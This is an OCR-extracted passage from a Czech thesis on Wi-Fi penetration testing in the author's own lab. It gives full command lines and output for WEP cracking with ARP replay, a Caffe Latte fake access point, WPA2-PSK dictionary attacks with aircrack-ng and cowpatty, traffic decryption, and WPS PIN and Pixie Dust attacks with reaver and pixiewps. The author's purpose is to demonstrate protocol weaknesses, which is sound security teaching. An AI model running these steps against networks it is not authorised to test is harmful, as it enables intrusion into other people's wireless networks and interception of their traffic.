Rx invalid nwid:® Rx invalid crypt:® Rx invalid frag:@
Tx excessive retries:® Invalid misc:@ Missed beacon:®

ethe no wireless extensions.

Obr. 4.7: Vypis iwconfig po autentizaci

Na obrazku 4.7 lze vidét, ze rozhrani wlan0O je pripojeno k AP s MAC adresou
F4:EC:38:B2:55:F2, coz odpovida.

Pomoci tohoto utoku bylo mozné dosdhnout autentizace k tomuto AP. Timto
zptisobem by ovsem jesté nedoslo k moznosti komunikovat v ramci sité, protoze

stdle neni znam pouzivany klic.
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Utok na Sifrovani WEP

Tento utok je proveden pomoci zachyceni dostatecného mnozstvi zprav a zjisténi

pouzitého hesla kryptoanalyzou (viz kapitola 2.1.2 Sifroviani WEP).

Klient

—

Aireplay-ng:
zachyceni ARP zprav

'

Aireplay-ng:
Injektovani ARP zprav

_ Bezdratova
— komunikace
A

zpét do sité

Aircrack-ng: Po zachyceni
dostatecného mnozZstvi
zprav zjisti heslo

Testovaci PC

Router

—

Airodump-ng:
zachyceni

!

Soubor .cap

¢

'

WEP Kli¢

Obr. 4.8: Schéma utoku na Sifrovani WEP

Prvnim krokem je zachyceni dostatecného mnozstvi zprav. Opét lze pouzit utilitu

airodump-ng, stejné jako v predchozim utoku.

airodump-ng wlan0O -c 11 --bssid F4:EC:38:B2:55:F2

-w WEPCracking
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CH 11 ][ Elapsed: 2 mins ][ 2019-12-15 ©8:33

BSSID PWR RXQ Beacons #Data, #/s CH MB ENC CIPHER AUTH E
F4:EC:38:B2:55:F2 -21 84 1188 76 © 11 54e. WEP WEP T
BSSID STATION PWR Rate Lost Frames Probe
F4:EC:38:B2:55:F2 20:47:DA:16:A0:17 -40 54e- 6e 0} 18

Obr. 4.9: Vypis airodump-ng pro WEP sit

Na obrazku 4.9 vidime jiz pripojeného klienta. Pro tutok je dulezity sloupec
#Data, ktery poznacuje pocet zachycenych zprav. Jelikoz je k ttoku potireba za-
chytit tisice rdmct, pfi normalni komunikaci by bylo nutné cekat prilis dlouho.
Vyuzitim aireplay-ng lze tento proces urychlit. Aireplay-ng bude generovat velké
mnozstvi ARP zprav opakovanim zachyceného provozu. AP bude odpovidat zaSif-
rovanymi ARP odpovédmi. Airodump-ng tyto odpovédi zachyti. Generovani ARP

lze v novém okné provést prikazem:

aireplay-ng -3 -b F4:EC:38:B2:55:F2 -h 20:47:DA:16:A0:17

wlanO

Argument ,,-3“ specifikuje ARP zpravy, argument ,-h“ specifikuje MAC adresu
klienta. Velmi brzo aireplay-ng zacne generovat mnozstvi ARP zprav a airodump-ng

zacne zachytavat velké mnozstvi provozu (viz obrazky 4.10 a 4.11).

root@osboxes:~# aireplay-ng -3 -b F4:EC:38:B2:55:F2 -h 20:47:DA:16:AP:17 wlan®
The interface MAC (D0:37:45:53:3C:E8) doesn't match the specified MAC (-h).
ifconfig wlan® hw ether 20:47:DA:16:A0:17
08:45:84 Waiting for beacon frame (BSSID: F4:EC:38:B2:55:F2) on channel 11
Saving ARP requests in replay arp-1215-084504.cap
You should also start airodump-ng to capture replies.
Read 1397 packets (got 80 ARP requests and 115 ACKs), sent 84 packets...(504 pps
Read 1595 packets (got 128 ARP requests and 165 ACKs), sent 133 packets...(498
Read 1785 packets (got 174 ARP requests and 214 ACKs), sent 183 packets...(499
Read 1980 packets (got 224 ARP requests and 264 ACKs), sent 233 packets...(499
Read 2167 packets (got 268 ARP requests and 312 ACKs), sent 284 packets...(501
Read 2355 packets (got 314 ARP requests and 362 ACKs), sent 334 packets... (500
Read 2555 packets (got 360 ARP requests and 415 ACKs), sent 384 packets... (500
Read 2733 packets (got 402 ARP requests and 465 ACKs), sent 434 packets... (500
Read 2907 packets (got 444 ARP requests and 511 ACKs), sent 483 packets... (499
Read 3095 packets (got 490 ARP requests and 559 ACKs), sent 534 packets... (500
Read 3280 packets (got 536 ARP requests and 608 ACKs), sent 583 packets...(499
Read 3469 packets (got 583 ARP requests and 657 ACKs), sent 633 packets...(499
Read 3621 packets (got 620 ARP requests and 703 ACKs), sent 683 packets...(499
Read 3750 packets (got 650 ARP requests and 741 ACKs), sent 734 packets... (500
Read 4011 packets (got 702 ARP requests and 791 ACKs), sent 784 packets... (500
Read 4255 packets (got 729 ARP requests and 841 ACKs), sent 834 packets... (500
Read 4538 packets (got 884 ARP requests and 891 ACKs), sent 884 packets... (500
Read 4724 packets (got 810 ARP requests and 940 ACKs), sent 934 packets... (500

=i = iy = By = iy = By = By o By o [y o [y o [y o [y o iy o [y o iy o iy o [y

Obr. 4.10: Aireplay-ng generuje ARP zpravy
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CH 11 ][ Elapsed: 2 mins ][ 20819-12-15 08:46 ][ 140 bytes keystream: F4:EC:38:

BSSID PWR RXQ Beacons #Data, #/s CH MB ENC CIPHER AUTH E
F4:EC:38:B2:55:F2 -24 0] 1146 37477 1035 11 54e. WEP WEP SKA T
BS5ID STATION PWR Rate Lost Frames Probe

F4:EC:38:B2:55:F2 20:47:DA:16:A0:17 0] Sde- 1 1111 45456 TestNet

Obr. 4.11: Airodump-ng zachytava velké mnozstvi dat

Nyni lze zac¢it crackovani hesla. K tomu lze pouzit aircrack-ng. V novém okné je
tato utilita spusténa pomoci prikazu:

aircrack-ng WEPCracking-01.cap

Pokud bylo zachyceno dostateéné mnozstvi zprav, skoro okamzité aircrack-ng

vypocita pouzité heslo a vypise jej (viz obrazek 4.12).

root@oshoxes:~# aircrack-ng WEPCracking-©1.cap

Opening WEPCracking-©1.capit...

Read 240493 packets.
# BSSID ESSID Encryption
1 F4:EC:38:B2:55:F2 TestNet WEP (@ IVs)

Choosing first network as target.

Opening WEPCracking-©1.capit...
Read 241188 packets.

1 potential targets

Attack will be restarted every 5000 captured ivs.
Starting PTW attack with 47484 ivs.
KEY FOUND! [ 68:65:73:6C:6F ] (ASCII: heslo )
Decrypted correctly: 100%

Obr. 4.12: Vypis aircrack-ng béhem crackovani hesla

Pomoci tohoto ttoku jde pomérné rychle zjistit pouzivané heslo v ramci WEP
sité a demonstrovat tak jeho nebezpedi.

Utok Caffe Latte

Tento utok umoznuje ziskani WEP klice AP na zakladé komunikace s klientem,
ktery se drive k AP pripojil.
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Klient - mobil

AP - Router

2. Sondovaci pakety |—>

Klient - mobil
Airodump-ng: zachyti a | | |
zjisti, ze klient hleda AP
[T\
Testovaci PC
3. Pfipojeni |
Klient - mobil *
Airbase-ng: fale$na AP | [
[T
Testovaci PC
4 3 zasifrované ARP pakety }—|-l
ARP Request pakety Airbase-ng: faleSna AP
Klient - mobil v

Zasifrované ARP

Airbase-ng: vytvoii a
posle velké mnoZzstvi
ARP Request

Airbase-ng: na zakladé

Reply pakety

dostate€ného mnoZzstvi
paketl zjisti kli¢

v

WEP Kli¢

Obr. 4.13: Schéma utoku Caffe Latte

Nejprve je potfeba nasimulovat scénar, pri kterém by k ttoku doslo. Nejdiive se

klient pripoji k AP. Pomoci airodump-ng si muizeme ovérit, zda je klient opravdu

pripojeny, a tedy, Ze zné pouzivané WEP heslo.

airodump-ng wlanO --bssid F4:EC:38:B2:55:F2

o7

Testovaci PC

-c 11



CH 11 ][ Elapsed: 42 s ][ 2019-12-17 13:32

BSSID PWR RXQ Beacons #Data, #/s CH MB ENC CIPHER AUTH ESSID
F4:EC:38:B2:55:F2 -51 68 256 14 0] 6 54e. WEP WEP TestNet
BSSID STATION PWR Rate Lost Frames Probe
F4:EC:38:B2:55:F2 20:47:DA:16:A0:17 -58 e - 2e 4 29

Obr. 4.14: Vypis airodump - klient pripojeny k AP

Na obrazku 4.14 jde vidét klienta pripojeného k AP. Nasledné nasimulujeme
situaci, kdy se klientovo zafizeni nenachazi v blizkosti AP, vypnutim testovaciho
routeru. V tomto momenté by mél klient zacit vysilat sondovaci pakety. To lze

opét ovérit pomoci airodump-ng. V druhé sekci vypisu se objevi klient a v kolonce
,Probe“, SSID sité.

airodump-ng wlanO

BSSID STATION PWR Rate Lost Frames Probe

(not associated) DA:Al:19:70:57:6F -20 0 -6 4 4 TestNet
(not associated) DA:Al:19:3A:1C:3E -56 0 -1 0] 1 TestNet
(not associated) DA:Al:19:FA:C1l:3C -22 0 -1 0] 1 TestNet

Obr. 4.15: Vypis airodump - klient hleda AP

Na obrazku 4.15 je vidét klient aktivné hledajici AP, ke které byl pripojen. Dalsi
faze titoku probéhne pomoci utility airbase-ng. Pomoci ni se vytvori podvrzeny AP
se stejnym SSID (argument ,—essid“), MAC adresou (argument ,-a“) a kanalem
(argument ,-c“). Pomoci argumentu ,-L“ se specifikuje titok Caffe Latte. Argument

W 1¢ specifikuje, ze je podvrzeny AP sifrovan pomoci WEP.

airbase-ng -a F4:EC:38:B2:55:F2 --essid "TestNet"
-H -W 1 -c 11 wlanO

Tim je vSe pripraveno. Klient by se v tomto momenté mél automaticky pripojit k
této siti, protoze pro néj vypada jako sit, ke které se diive pripojil. Bohuzel v ramci
testu se, pres mnozstvi pokusi, tento krok nezdafil. Klient (mobilni telefon) se sice
k AP snazi pripojit, ale nikdy se mu to nepodarfi. Jedinou informaci je, ze se klient
dostane do faze ,Nacitani IP adresy“ a déle ne.

Vypis airbase-ng neni p¥ilis ndpomocny. Jsou pouze vidét pokusy o ptipojeni (viz
obrazek 4.16)
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root@oshoxes:-# airbase-ng -a F4:EC:38:B2:55:F2 --essid "TestNet" -L -W 1 -c 6 wlan®
13:49:53 Created tap interface at®

13:49:53 Trying to set MTU on ate to 1500

13:49:53 Trying to set MTU on wlan® to 1860

error setting MTU on wlan@

13:49:53 MTU on wlan® remains at 1508

13:49:53 Access Point with BSSID F4:EC:38:B2:55:F2 started.

13:49:58 C(Client 20:47:DA:16:A0:17 associated (WEP) to ESSID: "TestNet"
13:49:58 Client 20:47:DA:16:A0:17 associated (WEP) to ESSID: "TestNet™
13:49:58 Client 20:47:DA:16:A0:17 associated (WEP) to ESSID: "TestNet"
13:49:58 Client 20:47:DA:16:A0:17 associated (WEP) to ESSID: "TestNet™
13:49:58 (Client 20:47:DA:16:A0:17 associated (WEP) to ESSID: "TestNet"
13:49:58 C(Client 20:47:DA:16:A0:17 associated (WEP) to ESSID: "TestNet™
13:49:58 Client 20:47:DA:16:A0:17 associated (WEP) to ESSID: "TestNet"
13:49:58 C(Client 20:47:DA:16:A0:17 associated (WEP) to ESSID: "TestNet™

Obr. 4.16: Vypis airbase-ng - klient se nedokaze ptipojit

V pripadé, ze by se klient dokézal pripojit, zacal by samotny utok. V airodump-
ng by bylo vidét velké mnozstvi provozu mezi podvrzenou AP a klientem a po urcité
dobé by airbase-ng vypsal pouzivany WEP kli¢. Radové se délka ttoku pohybuje v
minutach.

Jedna se tak o pomérné zajimavy utok, zvlasté kvuli tomu, ze se klice zjistuji

neprimou cestou.

4.1.2 Testovani WPA/WPA2(PSK)

Utok hrubou silou

Tento utok dokaze pomoci slovniku a zachycené autentizace zjisti pouzité heslo
(v pripadé, ze se ve slovniku nachazi).

Nejprve je tfeba nastavit AP aby tento protokol pouzival, opét v zdlozce Wire-
less Security. Jako heslo je nastaveno ,abcdefgh®. Je potfeba aby se vybrané heslo
nachéazelo v pouzivaném slovniku. Kali Linux v zakladu obsahuje nékolik slovniki,
v ramci tohoto utoku je pouzit slovnik nmap.lst. V redlném scénari je dobrym na-
padem pouzit slovnik, ktery bere v potaz geograficky specificka hesla. Na vybraném
sifrovani (AES ¢i TKIP) nezélezi.

V prvnim kroku je potfeba zachytit autentizaci klientem k dané siti. Opét lze

vyuzit airodump-ng:

airodump-ng wlan0O -c 11 -b F4:EC:38:B2:55:F2 -w WPAPSK
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—1  Ctyfcestna
-— vyména

Router

Klient

Airodump-ng:
zachyceni

Soubor .cap

A

:I Aircrack-ng: Vypocita

s P Slovnik »| mozné PMK hesel ze
Testovaci PC slovniku a porovna s
pouzitym PMK

v

WPA kli¢

Obr. 4.17: Schéma itoku hrubou silou proti WPA2(PSK)

CH 11 ][ Elapsed: 2 mins ][ 2019-12-15 @9:15

BSSID PWR RXQ Beacons #Data, #/s CH MB ENC CIPHER AUTH ESSID
F4:EC:38:B2:55:F2 -26 90 1318 (0] e 11 135 WPA2 CCMP PSK TestNet
BSSID STATION PWR Rate Lost Frames Probe

Obr. 4.18: Vypis airodump-ng pro WPA sit

Déle dojde k simulaci autentizace klientem, airodump-ng by ji mél zachytit.

CH 11 ][ Elapsed: 3 mins ][ 2019-12-15 09:16 ][ WPA handshake: F4:EC:38:B2:55:F2

BSSID PWR RXQ Beacons #Data, #/s CH MB ENC CIPHER AUTH ESSID
F4:EC:38:B2:55:F2 -23 6] 1616 58 6 11 135 WPA2 CCMP PSK TestNet
BSSID STATION PWR Rate Lost Frames Probe
F4:EC:38:B2:55:F2 20:47:DA:16:A0:17 -23 Pe- be 434 68 TestNet

Obr. 4.19: Vypis airodump-ng pro WPA sit po pripojeni klienta
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Airodump-ng je ted mozno vypnout. Pomoci aircrack-ng uz lze provést ttok

hrubou silou:

aircrack-ng WPAPSK-02.cap -w /usr/share/wordlists/nmap.
1st

Pokud byla dobre zachycena autentizace a pokud se heslo nachazi ve slovniku

nmap.lst, mél by ho aircrack-ng najit velmi rychle.

Aircrack-ng 1.5.2
[e0:00:00] 1504/1557 keys tested (2601.46 k/s)
Time left: @ seconds 96.60%
KEY FOUND! [ abcdefgh ]

Master Key : 66 18 46 66 Al D9 C7 2F ED 5A 01 AC 6F 69 93 23
6C EB 9A 89 @7 6D AC 31 A7 A9 56 8B 3B D3 2C A5

Transient Key =: F9 25 DD 5C 7E 9F 8C E4 B3 3C F5 EB E6 C5 1C 11
FB BF 9C 39 97 62 BB F@ CC 5A 5D 63 D7 2E 25 AE
B6F 64 FE CF A9 72 A6 BD CD F6 D4 71 ED 65 F6 DD

FB 13 71 FC 20 76 07 B5 EF 6A F6 ©7 DE D2 2B 97

EAPOL HMAC : CB D6 78 6F 4A A8 AB 46 7B 18 3B 51 3C D4 F7 93

Obr. 4.20: Vypis aircrack-ng pti crackovani WPA2(PSK) hesla

Na obréazku 4.20 lze vidét vypis hesla i to, jakou rychlosti bylo heslo zjisténo. V
tomto pripadé pracoval rychlosti 2601 kli¢ti za sekundu. Tento titok tedy demonstruje

jak rychle a jednoduse lze zjistit Spatné zvolené Wi-Fi heslo.

4.1.3 Desifrovani WEP a WPA paketi

Kromé samotného zjisténi kli¢a aircrack-ng umoznuje vyuziti téchto kli¢a k desifro-
vani paketi. Pro tento test jde vyuzit zachyceny provoz z predchozich utokt.

7 néjakého duvodu airdecap-ng u WEP potrebuje WEP kli¢ v hexadecimalnim
formatu. Prevodem ,heslo* z ASCII do Sestndctkové soustavy dostaneme 68 65 73
6c 6f.

airdecap-ng -w 6865736c6f WEPCracking-01.cap

Vysledkem je prehled desifrovanych paketi a soubor WEPCracking-01-dec.cap
Ten lze déale analyzovat naptiklad pomoci tcpdump.

tcpdump -r WEPCracking-0l-dec.cap
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Vysledek 1ze porovnat s ptuvodnim souborem.

08:44:09.427046 Data IV:1lcb Pad @ KeyID ©

Obr. 4.21: Vystup tepdump - zasifrovany WEP paket

08:44:09.427046 IP 192.168.1.100.62010 > 192.168.1.1.domain: 50?22+_A? android.g
oogleapis.com. (40)

Obr. 4.22: Vystup tepdump - desifrovany WEP paket

Na obrazku 4.21 je zobrazen jeden paket z puvodniho souboru. Na obrazku 4.22
je ten samy paket ze souboru, ktery vytvoril airdecap-ng. Je vidét, ze z desifrovaného
paketu lze vycist mnohem vice informaci. Podrobnéjsi analyzu lze ucinit naptiklad
pomoci programu Wireshark.

Analogicky jde desifrovat i WPA pakety.

airdecap-ng -p abcdefgh WPAPSK-02.cap "TestNet"

Opét jde pomoci tcpdump porovnat puvodni a deSifrovany soubor (viz obrazky
4.23 a 4.24.

lo9:16:56.496166 Data IV: 47 Pad 20 KeyID ©

Obr. 4.23: Vystup tcpdump - zasifrovany WPA paket

09:16:56.496166 IP 192.168.1.100.49399 > 192.168.1.1.domain: 62937+ A? connectiv
itycheck.gstatic.com. (47)

Obr. 4.24: Vystup tcpdump - desifrovany WPA paket

Vysledek dopadl podle oc¢ekavani, desifrovany paket obsahuje vice informaci.

Tyto utoky tedy nastinily Sirokou uzite¢nost utility aircrack-ng.

4.2 Cowpatty

Dalsi utilitou je cowpatty, pomoci které je opét demonstrovan ttok hrubou silou na
WPA2(PSK)
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4.2.1 Testovani WPA2(PSK)
Utok hrubou silou na WPA2(PSK)

Pomoci cowpatty lze opét demonstrovat ttok hrubou silou na slabé heslo proti
siti WPA2. V principu je témér stejny jako predchozi utok pomoci aircrack-ng. V
urcitych pripadech je vsak rychlejsi. Princip spociva v tom, ze si cowpatty predem
vypocita mozné PMK za pomoci jakéhokoliv slovniku (tedy 1 PMK pro kazdé heslo
ze slovniku). Cowpatty pak pomoci prepocitanych PMK a zachycené ctytcestné

vymeény zjisti, jaké heslo bylo pouzito. Teoreticky se tak samotny utok zrychli.

- Ctyfcestna  |—p
- vyména
Router
Klient l
Slovnik Airodump-n'g:
zachyceni
A y
Soubor .cap

Genpmk: Vypocitd mozné
PMK na zékladé slovniku

+ )

Soubor s PMK Testovaci PC

—

Cowpatty:
Zjisti pouzity kli¢

—»| WPAKIi¢

Obr. 4.25: Schéma 1itoku hrubou silou pomoci Cowpatty

Prvnim krokem je vygenerovani PMK, k tomu je vyuzita souc¢ast cowpatty, utilita

genpmk. Jako slovnik bude opét vyuzit nmap.lst. Je potreba specifikovat SSID AP.

genpmk -f /usr/share/wordlists/nmap.lst -d CowpattyTest
-5 "TestNet"
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root@osboxes:~# genpmk -f /fusr/share/wordlists/nmap.lst -d CowpattyTest -s "TestNet"
genpmk 1.3 - WPA-PSK precomputation attack. <jwright@hasborg.com=

File CowpattyTest does not exist, creating.

key no. 1000: pinkgirl

1641 passphrases tested in 5.83 seconds: 281.38 passphrases/second
root@oshoxes:~# ||

Obr. 4.26: Vystup genpmk

Na obrazku 4.26 je vidét vypis genpmk. Rychlost, kterou generoval PMK byla
281,38 hesel za sekundu.

Nyni je potfeba zachytit ¢tyrcestnou vyménu mezi klientem a AP. To je prove-
deno tplné stejné jako v minulém pripadé:
airodump-ng wlan0O -c 11 -b F4:EC:38:B2:55:F2 -w CoWPAtty

Po zachyceni uz pouzijeme cowpatty k samotnému cracknuti hesla.

cowpatty -d CowpattyTest -s "TestNet" -r CoWPAtty-02.cap

root@osbhoxes:-# cowpatty -d CowpattyTest -5 "TestNet" -r CoWPAtty-02.cap
cowpatty 4.8 - WPA-PSK dictionary attack. <jwright@hasborg.com=>

Collected all necessary data to mount crack against WPA2/PSK passphrase.
Starting dictionary attack. Please be patient.

The PSK is "abcdefgh™.

731 passphrases tested in 0.08 seconds: 148065.62 passphrases/second
root@oshoxes:-# ||

Obr. 4.27: Crackovani hesla pomoci cowpatty

Jak je vidét na obrazku 4.27, rychlost crackovani je 148066 hesel za sekundu.
V porovnani s aircrack-ng, ktery mél rychlost 2601 hesel za sekundu, je to tedy
skokovy nartst. V tomto pripadé to ttok neurychluje z divodu malého slovniku, ale
v pripadé, kdy by slovnik mél tfeba miliony rtiznych hesel, by byl rozdil znatelny.
Samoziejmé je tfeba brat na védomi, ze generovani PMK je stale pomérné pomaly
proces.

Tato verze utoku hrubou silou tedy potencialné umoziuje mnohem rychlejsi vy-
sledky.

4.3 reaver a pixiewps

Tyto dveé utility jsou uzce spojeny. Pomoci obou jde zautocit na AP pouzivajici
WPS. Jak bylo popsano v kapitole 3.2.3 Testovaci programy, pixiewps je jednodusi
spustit rovnou skrze reaver. Pomoci téchto utilit byl proveden utok na PIN a 1tok
Pixie Dust.
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4.3.1 Testovani WPS

Nejprve je dobré si ovérit, zda je WPS opravdu zapnuté v nastaveni AP pod ndzvem
QSS (Quick Secure Setup). V tomto pripadé je nastaveny PIN kéd 09191174 (viz
obrazek 4.28).

QSS (Quick Secure Setup)
QSS Status:  Enabled

CurrentPIN: 09191174 | Resiore PIN || Gen New PIN

Obr. 4.28: Nastaveni PIN u QSS

Utok na PIN

Utok je v principu jednoduchy, reaver se bude zkouset autentizovat k AP pomoci
riznych PIN kodt. Nejdrive zjisti prvni ¢étyti ¢islice, a poté zbyvajici ¢tyrcisli. Zne-
uziva tak malého poc¢tu kombinaci a zpusobu, kterym AP odpovida na Spatné PIN
kédy (viz kapitola 2.3 Zranitelnosti WPS). Schéma ttoku je na obrazku 4.29.
Prvnim krokem ttoku je zjistit, které AP v okoli maji WPS povolené. K tomu

slouzi prikaz wash:

wash -i wlanO

root@oshoxes:~# wash -i wlan®

BSSID Ch dBm WPS Lck Vendor ESSID

No Realteks WVOIP9

Mo  AtherosC TP-LINK Extender 7A48D2
No RalinkTe MujO2Internet ©9F2E8
Mo RalinkTe UPC87F3D97

RalinkTe 5Stable connection

No RalinkTe Internet

No AtherosC TestNet

No RalinkTe Local Barber Shop

No RalinkTe Andulkovi

i
~J
-~
e Nl R N
s I I s B v Qi s I s T
=
o

Obr. 4.30: Vypis utility wash

Ve vypisu 4.30 jsou vidét okolni AP, které maji WPS povolené véetné nékolika
dulezitych informaci. Sloupec WPS ukazuje, kterou verzi WPS AP pouziva. Verze
2.0 mohou byt tézsi k napadeni, protoze mohou obsahovat nékteré ochranné prvky,

predevsim omezeni poctu pokusii. Nejdulezitéjsi je sloupec Lek, ktery ukazuje, zda
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. Router s WPS
estovaci PC PIN=09191174

g

[Reaver |{ PIN: 12345670 | -

- i Spatny PIN |—

Zkouseni dalsich
< Gastych PIN kodu

—| PIN: 00015677 I >
<t I Spatny PIN |_

——| PIN: 00025676 I

Spatny PIN

—| PIN: 09195677 I

L Prvni 4 Cislice
spravné

_| PIN: 09190009 || >

Prvni 4 Cislice
spravné

«

——| PIN: 09191174 I —p
< || Spravny PIN |—
—>| PIN = 09191174 |

Obr. 4.29: Zjednodusené schéma titoku na PIN pomoci utility reaver

je WPS tzv. zaméené (Locked), v tomto stavu bude AP odmitat pokusy o zadani
PINu.

Po vybrani vhodného AP lIze provést samotny titok pomoci utility reaver:
reaver -i wlanO -b F4:EC:38:B2:55:F2 --no-nacks -vv

Reaver ted postupné bude zkouset vSechny mozné PIN kédy, dokud se netrefi.
Jak bylo popsano v kapitole WPS, stac¢i uhadnout prvni ¢tyic¢isli a pak uz pouze
zbyva uhadnout dalsi trojéisli. Posledni ¢islice je kontrolni soucet. Reaver nejdiive
zacne s nékterymi PIN kédy, které se casto objevuji v zakladnim nastaveni, a poté
postupuje podle abecedy, nejdiive pouze méni prvni ¢tyréisli. Periodicky oznamuje
procento kompletace itoku a rychlost jakou pracuje. V prubéhu titoku se tato hod-
nota pohybovala kolem 1 PIN za 4 sekundy.
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root@osboxes:~# reaver -1 wlan® -b F4:EC:38:B2:55:F2 --no-nacks -vv

Reaver v1.6.5-git-68-ga7b3908 WiFi Protected Setup Attack Tool
Copyright (c) 2811, Tactical Network Solutions, Craig Heffner =chef
1.com>

[?] Restore previous session for F4:EC:38:B2:55:F27 [n/Y] n
[+] waiting for beacon from F4:EC:38:B2:55:F2

[+] Switching wlan®@ to channel &

[+] Received beacon from F4:EC:38:B2:55:F2

[+] Vendor: AtheroscC

[+] Trying pin "12345670"

[+] Sending authentication request

[+] Sending association request

[+] Associated with F4:EC:38:B2:55:F2 (ESSID: TestNet)

Obr. 4.31: Spusténi utility reaver

[+] Trying pin "©9185678"

[+] Sending authentication request
[+] Sending association request
[+] Associated with F4:EC:38:B2:55:F2 (ESSID: TestMNet)
[+] Sending EAPOL START request
[+] Received identity request

[+] Sending identity response

[+] Received identity request

[+] Sending identity response

[+] Received M1 message

[+] Sending M2 message

[+] Received M3 message

[+] Sending M4 message

[+] Received WSC MACK

[+] Sending WSC NACK

[+] Trying pin "09195677"

[+] Sending authentication request
[+] Sending association request
[+] Associated with F4:EC:38:B2:55:F2 (ESSID: TestMet)
[+] Sending EAPOL START request
[+] Received identity request

[+] Sending identity response

[+] Received identity request

[+] Sending identity response

[+] Received M1 message

[+] Sending M2 message

[+] Received M3 message

[+] Sending M4 message

[+] Received M5 message

[+] Sending M6 message

[+] Received WSC NACK

[+] Sending WSC MNACK

[+] Trying pin "09198009"

Obr. 4.32: Zjisténi prvniho ¢tyréisli WPS PIN kédu

Na obrazku 4.31 je vidét zacatek utoku a prvni zkouseny PIN - 1234567. Na ob-
razku 4.32, vidime situaci priblizné po 1 hodiné. Reaver se dostal k PINu zac¢inajicim

na Ctyrcisli 0918 a vypise naslednou vymeénu s AP, ktera kon¢i zpravou M4. Nasledné
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pristoupi k ¢tyrcisli 0919, které je spravné. Je vidét, ze se tentokrat dostane az ke
zprave M6. Reaver tedy vi, ze 0919 je spravné a prejde k PINu 09190009. Dale uz
tedy méni pouze posledni ¢tyTi ¢islice.
Na obrazku 4.33 jde vidét finalni tspésny vystup. Po 5200 sekundach (ptiblizné 1

a pul hodiné) se WPS konecné dobere ke spravnému PINu 09191174. Déle uz pouze
zjisti pouzivané heslo PSK.

[+] Trying pin "©9191174"

[+] Sending authentication request

[+] Sending association request

[+] Associated with F4:EC:38:B2:55:F2 (ESSID: TestNet)

[+] Sending EAPOL START request

[+] Received identity request

[+] Sending identity response

[+] Received identity request

[+] Sending identity response

[+] Received M1 message

[+] Sending M2 message

[+] Received M3 message

[+] Sending M4 message

[+] Received M5 message

[+] Sending M6 message

[+] Received M7 message

[+] Sending WSC NACK

[+] Sending WSC NACK

[+] 100.00% complete @ 2019-12-17 17:25:34 (4 seconds/pin)

[+] Pin cracked in 5200 seconds

[+] WPS PINMN: '©9191174'

[+] WPA PSK: 'abcdefgh'
[+] AP S5ID: 'TestNet'

Obr. 4.33: Zjisténi PIN kédu pomoci reaver

Tento ttok sice patii mezi pomalejsi, ale pokud je napadeny AP zranitelny, jedna

se 0 pomeérné jisty zpusob k tspésnému ziskani pouzivaného hesla.

Utok Pixie Dust

Tento utok vyuziva zranitelnosti Pixie Dust popsané v kapitole 2.3 Zranitelnosti
WPS. K tomuto utoku Ize vyuzit utilitu pixiewps spusténou skrze reaver. Ten pro-
vede pokus o WPS autentizace, ze kterého zjisti potiebné tdaje. Spolu s typem
routeru pak tyto udaje preda utilité pixiewps, kterd vypocita mozny PIN. Reaver
poté tento PIN vyzkousi a pokud je spravny, zjisti pouzivané PSK heslo. Schéma
utoku je na obrazku 4.34.

Na Pixie Dust je nachylné pouze malé procento routeri, a je tak pravdépodob-
néjsi, ze neuspéje. Proti testovanému routeru ,, TestNet“ napriklad neni tispésny.
Nastésti vlastnény domaci router tuto zranitelnost obsahuje a je mozné na néj pi-
xiewps pouzit. Jelikoz se nejedné o soucast laboratore budou udaje skryty. Pixiewps

lze spustit pomoci argumentu ,-K*:
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AuthKey
N1
PKE
PKR
E-Hash 1
E-Hash 2

Zjisténi Cisel:

]

Testovaci PC

| Reaver |_| WPS Vyména I_»

Router s WPS

A

Reaver spusti

WPS PIN
WPA PSK

g PixieWPS:
PixieWPS s ooz 5
pozadovanymi — Vypocita mozny
argumenty PIN
\/
Reaver:
Zkusi se

autentizovat
pomoci PIN kédu

Obr. 4.34: Zjednodusené schéma tutoku Pixie Dust pomoci utilit reaver a pixiewps

reaver -i wlanO

Pixiewps dokaze zjistit PIN i heslo témér okamzité. Vypis na obrazku 4.35 uka-
zuje nékolik zajimavych informaci. Zaprvé, doba crackovani byla pouhych 34 ms.
Dale lze vidét, ze napadeny router pouziva jako ¢isla ES1 a ES2 samé 0. Jak bylo
popsano v kapitole Pixie Dust, tato ¢isla by méla byt ndhodné vygenerovana cisla
yhonce”. Jejich nepritomnost délad prolomeni WPS trividlni. Finalné je vidét vystup
spravného PINu a PSK.

Pixie Dust je tedy z vyzkousenych potencidlné nejicinnéjsim utokem, dokéze

Reaver zjisti PSK

=

Uspésna
autentizace

-b <BSSID routeru>

-c 9

prolomit zranitelny router béhem zlomku sekundy.

4.4 Wifite

Pomoci této utility lze provést mnohé z predchozich itoku jen pomoci nékolika malo

'A%

\

prikazu. Jako priklad uzivani wifite byl zvolen utok proti WPA2 siti.

4.4.1 Utok na WPA2(PSK)

Prvnim krokem je zapnuti utility prikazem

wifite
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Pixiewps 1.4

[?7] Mode: 1 (RT/MT/CL)

[*] Seed N1: ©0xd3708367

[¥] Seed ES1: 0x00000000

[*¥] Seed ES2: 0x00000000

[*] PSK1:

[*] PSKZz:

[*] ES1: alefelalelolelololelolalololeletalelelaloloTelelalo o faTolao1]
[*] ES2: alefelalelslefololefola]ole ool e ol ol el e efel oY laT ol aTeko]
[+]

wps pin:

Time taken: @& s 34 ms

—
#*
o

[+] Pixiewps: success: setting pin to | Gz
[+] Received M3 message

[+] Sending M4 message

[+] Received M5 message

[+] Sending M6 message

[+] Received M7 message

[+] Sending WSC NACK

[+] Sending WSC NACK

[+] Updated Pl array

[+] Updated P2 array

[+] Quitting after pixiewps attack
[+] Pin cracked in 6 seconds

[+1 wps PIN:
[+]1 wPA psk: NN

[+]1 Ap ss1D: N
root@oshoxes:~# [

Obr. 4.35: Utok Pixie Dust pomoci pixiewps

Wifite okamzité udéla sken sité, podobné jako airodump-ng. Informace jsou vsak
zobrazeny vice uzivatelsky privétivé (viz obrazek 4.36). Po ukonéeni skenu da wifite
na vybér z nalezenych siti, uzivatel pouze vybere cislo, kterym jsou oznacené. Je tu
také moznost vybrani vice nez jedné sité. V tomto testu je vybran pouze TestNet.

Jelikoz TestNet ma povolené WPS, jako prvni itok vyzkousi wifite Pixe Dust.
Ten ovSsem nevyjde, a tak pristoupi k utoku na PIN. Jak jiz bylo demonstrovano,
tento utok miize trvat nékolik hodin. Tento ttok je tedy lepsi preskocit. To lze
udélat jednoduchym prerusenim pomoci Ctrl + C. Wifite se zeptd, zda pokracovat
v utocich nebo kompletné ukoncit utilitu. Po vybéru pokracovani uz probiha ttok
hrubou silou proti WPA2(PSK) heslu. Wifite potifebuje zachytit autentizaci mezi
